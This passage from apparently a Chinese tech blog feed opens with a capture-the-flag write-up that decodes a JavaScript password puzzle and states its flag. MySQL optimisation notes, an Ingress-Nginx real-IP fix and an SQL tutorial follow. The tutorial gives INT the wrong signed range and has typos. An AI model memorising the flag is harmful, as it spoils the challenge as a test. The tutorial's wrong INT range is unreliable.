"70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"; var tab = pass_enc.split(','); var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length; k = j + (l) + (n=0); n = tab2.length; for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i])); if(i == 5)break;} for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; if(i > 5 && i < k-1) p += String.fromCharCode((o = tab2[i])); } p += String.fromCharCode(tab2[17]); pass = p;return pass; } String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); h = window.prompt('Enter password'); alert( dechiffre(h) );上面定义了一个dechiffre(pass_enc)的函数,String["fromCharCode"](dechifre("xxx"))这个是把ASCII内容转换成字符串。剩下的就是打开页面之后都会出现的内容,参考意义不大,这里直接分析上面的这个函数函数里面先定义了一个pass,内容如下70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65大概率就是ASCII码,之后又定义了一个tab,内容如下var tab = pass_enc.split(',');pass_enc是传入的值,通过split(',')进行切割,现在tab是一个数组,之后定义了一个tab2,内容如下var tab2 = pass.split(',');对pass进行分割现在tab2也是个数组,之后定义了其他的一些变量,如下var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;k = j + (l) + (n=0);n = tab2.length;这里真是懵,最开始看的时候以为i,j,k,l都是0,一想不对。。。最开始ijkmno都应该是undefined之后i又被赋值了0,j被赋值了tab变量的长度,最后就是k,m,o是undefined之后i=0,l=0,p="",j=tab.length,k=tab.length,n=tab2.length,赋完值之后进行了一个for循环,代码如下for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; p += String.fromCharCode((o = tab2[i])); if(i == 5)break; } // 精简过后代码如下 for(i=0;i<tab2.length;i++){ // o=tab[i]; p += String.fromCharCode(tab2[i]); if(i==5)break; }p += String.fromCharCode(tab2[i]);这段主要是这个代码,之后又经过了一个for循环,代码如下for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; if(i > 5 && i < k-1) p += String.fromCharCode((o = tab2[i])); } // 精简过后代码如下 for(i=0;i<tab2.length;i++){ // o = tab[i] if (i>5&&i<(tab.length-1))p + = String.fromCharCode(tab2[i]); }p += String.fromCharCode(tab2[i]);这段主要是这个代码,和上段基本一样,方法最后返回下面内容 p += String.fromCharCode(tab2[17]); pass = p;return pass;他把tab2的第17个值转换成了字符串,并返回了p,这代码这是在闹着玩,弄到底也没处理传入的值,我服了😅,这代码的主要的作用就是把上面的ASCII转换成字符,直接转换pass变量发现内容为FAUX PASSWORD HAHA,看样子知道题目的答案就是把传入函数的那传Hex编码转换成字符串\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30转换之后变成这样55,56,54,79,115,69,114,116,107,49,50转换成字符串变成这样786OsErtk12这道题目的答案即Cyberpeace{786OsErtk12} [MYSQL]SQL优化 https://blog.boychai.xyz/index.php/archives/64/ 2023-09-05T04:51:00+00:00 插入数据批量插入数据推荐使用下面语句INSERT INTO 表名(字段1,字段2,......) VALUES (值1,值2,......),(值1,值2,......),(值1,值2,......);如果数据量过于庞大,数据条数大于1000推荐使用文件导入的方式进行插入,方法如下## 登录mysql的时候需要添加--local-infile参数 mysql --local-infile -u root -p ## 登录之后设置local_infile为1,开启从本地加载文件导入数据的开关 set global local_infile=1; ## 使用load命令导入数据 load data local infile '文件' into table `表名` fields terminated by `文件里面的分隔符` lines terminated by '\n';文件里面的内容格式如下1,a,b,c 2,b,c,dPS:主键顺序插入性能高于乱序插入主键优化数据组织方式在InnoDB存储引擎中,表数据都是根据逐渐顺序组织存放的,这种存储方式的表成为索引组织表(index organized table IOT)页分裂页可以为空 ,也可以填充一半,也可以填充100%。每个页包含了2-N行数据(如果 一行数据多大,会溢出),根据主键排列。页合并当删除一条记录时,实际上记录并没有被物理删除,只是被标记(flaged)为啥暗处并且他的空间变得允许被其他记录声明使用。当页面中删除的记录达到MERGE_THRESHOLD(默认为页的50%),InnoDB会开始寻找最靠近的页(前或后)看看是否可以将两个页合并已优化空间使用。主键设置原则满足业务要求的情况下,尽量降低主键长度。插入数据的时,尽量选择顺序插入,选择使用AUTO_INCREMENT自增主键。尽量不要使用UUID做主键或者是其他自然主键,如身份证。业务操作时,避免对主键的修改。order by优化Using filesort通过表的索引或全表扫描,读取满足条件的数据行,然后在排序缓冲区sort buffer中完成排序操作,所有不是通过索引直接返回排序结果的排序都叫FileSort排序。Using index通过有序索引顺序扫描直接返回有序数据,这种情况即为using index,不需要额外排序,操作效率更高。优化根据排序字段建立合适的索引,多字段排序时,也遵循最左前缀法则。尽量使用覆盖索引。多字段排序,一个升序一个降序,此时需要注意联合索引在创建时的规则(ASC/DESC)如果不可避免出现filesort,大数据量排序时,可以适当增大排序缓冲区大小sort_buffer_size(默认256k)。group by优化分组操作时,可以通过索引来提高效率。分组操作时,索引的使用也是满足最左前缀法则的。limit优化一般分页查询时,通过创建 覆盖索引 能够比较好的提高性能,可以通过覆盖索引加子查询形式进行优化。count优化在MyISAM引擎把一个表的总行数存在了磁盘上,因此执行count(*)的时候会直接返回这个数,效率很高。InnoDB引擎就麻烦了,他执行count(*)的时候,需要把数据一行一行的从引擎里面读出来,让后累计计数。count(主键)InnoDB引擎会遍历整张表,把每一行的主键id值都取出来,返回给服务层。服务层拿到主键后,直接按行累加(主键不可能为null)。count(字段)没有not null约束时: InnoDB疫情会便利整张表把每一行的字段值都取出来,返回给服务层,服务层判断是否为null,不为null,计数累加。有not null约束时: InnoDB疫情会便利整张表把每一行的字段值都取出来,返回给服务层们直接按行进行累加。count(1)InnoDB疫情遍历整张表,但不取值。服务层对于返回的每一行,放一个数字“1”进去,直接按行累加。count(*)InnoDB疫情并不会把全部字段取出来,而是专门做了优化,不取值,服务层直接按行进行累加。优化方案可以自己做count,使用缓存数据库做这类工作。按照效率排序的话,count(字段)<count(主键)<count(1)≈count(*),所以尽量使用count(*)。update优化InnoDB的行锁是针对索引加的锁,不是针对记录家的锁,并且该索引不能失效,否则会从行锁升级为表锁。规避这种情况就需要在对应字段创建索引。 [资源]容器镜像代理站、加速站收集 https://blog.boychai.xyz/index.php/archives/63/ 2023-08-30T07:25:40+00:00 [排错笔记]Ingress-Nginx传递用户真实ip问题 https://blog.boychai.xyz/index.php/archives/62/ 2023-08-25T13:53:00+00:00 引入问题我的K8s环境是宿主机的hyper-v虚拟出来的,如果要映射到外面则还需要再我的宿主机上面再做一层反代,我采用的是nginx,当ingress整好之后,我从我从我腾讯云上复制了一段nginx配置放到了我的宿主机,主要配置如下:location /test/ { proxy_pass http://kubernetes.boychai.xyz/test/; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header REMOTE-HOST $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }为了防止传入的ip是代理主机的ip我这里设置了Host、X-Real-IP、REMOTE-HOST、X-Forwarded-For。经过测试之后发现使用宿主机配置的代理访问时返回404,在宿主机上直接却没问题。访问问题日志我去查看了宿主机的nginx日志、ingress-nginx-controller日志、应用程序的日志,发现除了宿主机的nginx均没有日志记录,宿主机日志信息如下111.180.204.54 - - [25/Aug/2023:22:12:21 +0800] "GET /test/ HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"除了这一条之外其他的日志均无404。解决看到日志之后有点懵,因为我的宿主机是可以直接访问ingress暴露出来的服务的,而且没有报错正常访问,我是用反代之后就报错404,我最开始以为这个404就是我宿主机报的,但是宿主机的404默认页面会返回nginx的版本,如下图而我反代返回的404页面则是这样的一想就是我ingress返回的页面,但是我去查看ingress-nginx-controller的日志并无404的报错,日志查看命令如下,访问时并无产生记录[root@kubernetes ~]# kubectl -n ingress-nginx logs -f ingress-nginx-controller-kc5np我这里去尝试修改宿主机的反代配置,配置如下location /test/ { proxy_pass http://kubernetes.boychai.xyz/test/; }发现这样是可以正常访问程序的,这就奇怪了,难不成还能是因为我设置了这几个header的问题?我挨个注释这些header的配置发现问题出在下面这段配置proxy_set_header Host $host;具体原因也没搞清楚但是取消使用这条配置就好了...原因在Kubernetes的Ingress中,Host 头部用于根据不同的域名(或主机名)将请求路由到不同的服务。每个Ingress规则可以基于请求的 Host 头部将流量路由到不同的后端服务。我宿主机代理的域名和Ingress设置的域名不同,所以导致了这个问题,我外部代理的域名是tools.boychai.xyz而我k8s设置Ingress的域名则是kubernetes.boychai.xyz,当我在宿主机的代理设置了proxy_set_header Host $host;这段配置之后,请求发到Ingress之后,Ingress拿到的路由请求域名则是tools.boychai.xyz,而我又没有设置这个资源则就返回了404。IP传递问题日志能够访问之后发现最终的应用拿不到真是访问的ip,这里通过nginx直接返回X-Forwarded-For头信息来查看问题出在什么位置,宿主机Nginx配置如下location /aaa { default_type text/html; proxy_set_header X-Real-IP $remote_addr; proxy_set_header REMOTE-HOST $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; return 200 "proxy_add_x_forwarded_for:$proxy_add_x_forwarded_for"; } location /test/ { # ingress暴露的地址`http://kubernetes.boychai.xyz/test/` proxy_pass http://kubernetes.boychai.xyz/test/; proxy_set_header X-Real-IP $remote_addr; proxy_set_header REMOTE-HOST $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }后端Nginx配置如下location / { default_type text/html; return 200 "proxy_add_x_forwarded_for:$proxy_add_x_forwarded_for"; }这样访问反代的/aaa就是访问反代主机的ip,访问反代的/test就会返回访问nginx的后端访问的ip,访问结果如下访问/aaa返回proxy_add_x_forwarded_for:111.180.204.54访问/test返回proxy_add_x_forwarded_for:192.16.1.1, 192.16.1.2解决查看访问返回的信息发现直接访问代理的ip是没问题的,那就是Ingress的锅了,这里的1.1和1.2依次是反代的ip和k8s主机的ip,到ingress这层没有把x_forwarded_for头加进来,这里我去官方翻了翻文档发现了三条和x_forwarded_for有关系的配置,如下data: ... compute-full-forwarded-for: "true" # 这一条可以不加也需要知道 # forwarded-for-header: "X-Forwarded-For" use-forwarded-headers: "true" 给ingress的cm加上这两条配置即可解决问题,最终/test返回的内容如下proxy_add_x_forwarded_for:111.180.204.54, 192.16.1.1, 192.16.1.2原因Ingress默认是没有配置传递真实IP功能的,需要配置,这三条配置和官网文档如下:use-forwarded-headers文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#use-forwarded-headers如果为true,则ingress-nginx会将传入的x-forward-*传递到上游,如果是Ingress上层还有一层ingress则需要配置这一条。如果他直接暴露在公网中或者它基于L3的网络负载后门则不需要管,因为它默认就是false。forwarded-for-header文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#forwarded-for-header这个用来设置客户端来源的真实IP,默认就是X-Forwarded-For。这里不需要额外配置。compute-full-forwarded-for文档位置: https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#compute-full-forwarded-for如果开启了use-forwarded-headers的话,会发现还是没能获取到客户端的真实IP,原因是当前X-Forwaded-Fox变量是从remote_addr获取的,每次都是拿上一层的代理ip,这段配置的作用是将客户端用户访问所经过的代理ip都追加到X-Forwaded-Fox. 数据库通用语言-SQL https://blog.boychai.xyz/index.php/archives/61/ 2023-08-10T05:36:00+00:00 SQL分类类别全称概述DDLData Definition Language数据定义语言,用来定义数据库对象(数据库,表,字段)DMLData Manipulation Language数据操作语言,用来对数据库表中的数据进行删增改查DQLData Query Language数据查询语言,用来查询数据库中表的记录DCLData Control Language数据控制语言,用来创建数据库用户,控制数据库的访问权限DDL数据库操作查询查询所有数据库SHOW DATABASES;查询当前数据库SELECT DATABASE();创建CREATE DATABASE [ IF NOT EXISTS ] 数据库名称 [ DEFAULT CHARSET 字符集 ] [ COLLATE 排序规则 ];使用时可以在数据库名称前面加入"IF NOT EXISTS",意为当数据库不存在则创建否则不作为。删除DROP DATABASE [ IF EXISTS ] 数据库名称;使用时可以在数据库名称前面加入"IF EXISTS",意为当数据库存在则删除否则不作为。使用USE 数据库名称;表操作ps:表操作需要使用数据库之后才能操作查询查询当前数据库中所有的表SHOW TABLES;查询表字段结构DESC 表名称;查询指定表的建表语句SHOW CREATE TABLE 表名;创建CREATE TABLE 表名(​ 字段1 字段1数据类型 [ COMMENT 字段1注释 ],​ 字段2 字段2数据类型 [ COMMENT 字段2注释 ],​ 字段3 字段3数据类型 [ COMMENT 字段3注释 ]​ ......) [ COMMENT 表格注释 ];修改修改表名称ALTER TEABLE 表名 RENAME TO 新表名;删除删除表DROP TABLE [ IF EXISTS ] 表名;"IF EXISTS" 意为有则删除否则不作为删除指定表,并且重新创建该表(一般用于格式化)TRUNCATE TABLE 表名;字段操作修改添加字段ALTER TABLE 表名 ADD 字段名 类型(长度) [ COMMENT 注释 ] [约束];修改数据类型ALTER TABLE 表名 MODIFY 字段名 新数据类型(长度);修改字段名和字段类型ALTER TABLE 表名 CHANGE 旧字段名 新字段名 类型(长度) [ COMMENT 注释 ] [约束];删除ALTER TABLE 表名 DROP 字段名数据类型概述MYSQL的数据类型主要分为三种:数值类型、字符串类型、日期时间类型。数值类型类型大小有符号范围(SIGNED)无符号范围(UNSIGNED)概述TINYINT1 byte(-128,127)(0,255)小整数值SMALLINT2 byte(-32768,32767)(0,65535)大整数值MEDIUMINT3 byte(-8388608,8388607)(0,16777215)大整数值INT或INTEGER4 byte(-8388608,8388607)(0,4294967295)大整数值BIGINT8 byte(-2^63,2^63-1)(0,2^64-1)极大整数值FLOAT4 byte(-3.402823466 E+38,3.402823466351 E+38)0 和 (1.175494351 E38,3.402823466 E+38)单精度浮点数值DOUBLE8 byte(-1.7976931348623157E+308,1.7976931348623157E+308)0 和(2.2250738585072014E-308,1.7976931348623157E+308)双精度浮点数值DECIMAL 依赖于M(精度)和D(标度)的值依赖于M(精度)和D(标度)的值小数值(精确定点数)字符串类型类型大小概述CHAR0-255 bytes定长字符串(需要指定长度)VARCHAR0-65535 bytes变长字符串(需要指定长度)TINYBLOB0-255 bytes不超过255个字符的二进制数据TINYTEXT0-255 bytes短文本字符串BLOB0-65 535 bytes二进制形式的长文本数据TEXT0-65 535 bytes长文本数据MEDIUMBLOB0-16 777 215 bytes二进制形式的中等长度文本数据MEDIUMTEXT0-16 777 215 bytes中等长度文本数据LONGBLOB0-4 294 967 295 bytes二进制形式的极大文本数据LONGTEXT0-4 294 967 295 bytes 极极大文本数据日期类型类型大小范围格式概述DATE31000-01-01 至 9999-12-31YYYY-MM-DD日期值TIME3-838:59:59 至 838:59:59HH:MM:SS时间值或持续时间YEAR11901 至 2155YYYY年份值DATETIME81000-01-01 00:00:00 至9999-12-31 23:59:59YYYY-MM-DDHH:MM:SS混合日期和时间值TIMESTAMP41970-01-01 00:00:01 至2038-01-19 03:14:07YYYY-MM-DDHH:MM:SS混合日期和时间值,时间戳DML添加数据给指定字段添加数据INSERT INTO 表名(字段1,字段2,......) VALUES (值1,值2,......);给全部字段添加数据INSERT INTO 表名 VALUES (值1,值2,......);批量添加数据INSERT INTO 表名(字段1,字段2,......) VALUES (值1,值2,......),(值1,值2,......),(值1,值2,......);INSERT INTO 表名 VALUES (值1,值2,......),(值1,值2,......),(值1,值2,......);修改数据UPDATE 表名 SET 字段1=值1,字段2=值2,...... [ WHERE 条件 ]删除数据DELETE FROM 表名 [ WHERE 条件 ]注意修改删除数据的时候,如果不加where判断条件则调整的整张表的内容。DQL语法SELECT​ 字段列表FROM​ 表名列表WHERE​ 条件列表GROUP BY​ 分组字段列表HAVING​ 分组后条件列表ORDER BY​ 排序字段列表LIMIT​ 分页参数基本查询查询多个字段SELECT 字段1,字段2,.... FROM 表名;SELECT * FRIN 表名;设置别名SELECT 字段1 [ AS '别名' ],字段2 [ AS '别名2' ] FROM 表名;输出的时候字段名称会 替换成别名,这段SQL中的AS可以不写,例如SELECT 字段 '别名' FROM 表名;去除重复记录SELECT distinct 字段列表 FROM 表名;条件查询语法SELECT 字段列表 FROM 表名 WHERE 条件列表;条件比较运算符运算符功能>大于\>=大于等于<小于<=小于等于=等于<> 或 !=不等于BETWEEN ... AND ...在某个范围之内(含最小,最大值)IN(...)在in之后的列表中的值,多选一LIKE 占位符模糊匹配(_匹配单个字符,%匹配任意多个字符)IS NULL是NULL逻辑运算符运算符功能AND 或 &&并且(多个条件同时成立)OR 或 \\ 或者(多个条件任意一个成立)NOT 或 !非,不是聚合函数语法SELECT 聚合函数(字段) FROM 表名;函数函数功能count统计数量max最大值min最小值avg平均值sum求和分组查询语法SELECT 字段列表 FROM 表名 [ WHERE 条件 ] GROUP BY 分组字段名 [ HAVING 分组后过滤条件 ]排序查询语法SELECT 字段列表 FROM 表名 ORDER BY 字段1 排序方式1, 字段2,排序方式2排序方式ASC:升序(默认)DESC:降序分页查询语法SELECT 字段列表 FROM 表名 LIMIT 起始索引,查询记录数;执行顺序DQL的执行顺序为FROM 表 > WHERE 条件查询 > GROUP BY 分组查询 > SELECT 字段查询 > ORDER BY 排序查询 > LIMIT 分页查询DCL用户管理查询用户USE mysql; SELECT * FROM user;创建用户CREATE USER `用户名`@`主机名` IDENTIFIED BY `密码`;修改用户密码ALTER USER `用户名`@`主机名` IDENTIFIED WITH mysql_native_password BY `新密码`;删除用户DROP USER `用户名`@`主机名`;权限管理权限常用权限如下表权限说明ALL,ALL PRIVILEGES所有权限SELECT数据查询INSERT插入数据UPDATE更新数据DELETE删除数据ALTER修改表DROP删除数据库、表、试图CREATE创建数据库、表这是常用的 其他的可以去官网查看管理查询权限SHOW GRANTS FOR `用户名`@`主机名`;授予权限GRANT 权限列表 ON 数据库名.表名 TO `用户名`@`主机名`;撤销权限REVOKE 权限列表 ON 数据库名.表名 FROM `用户名`@`主机名`;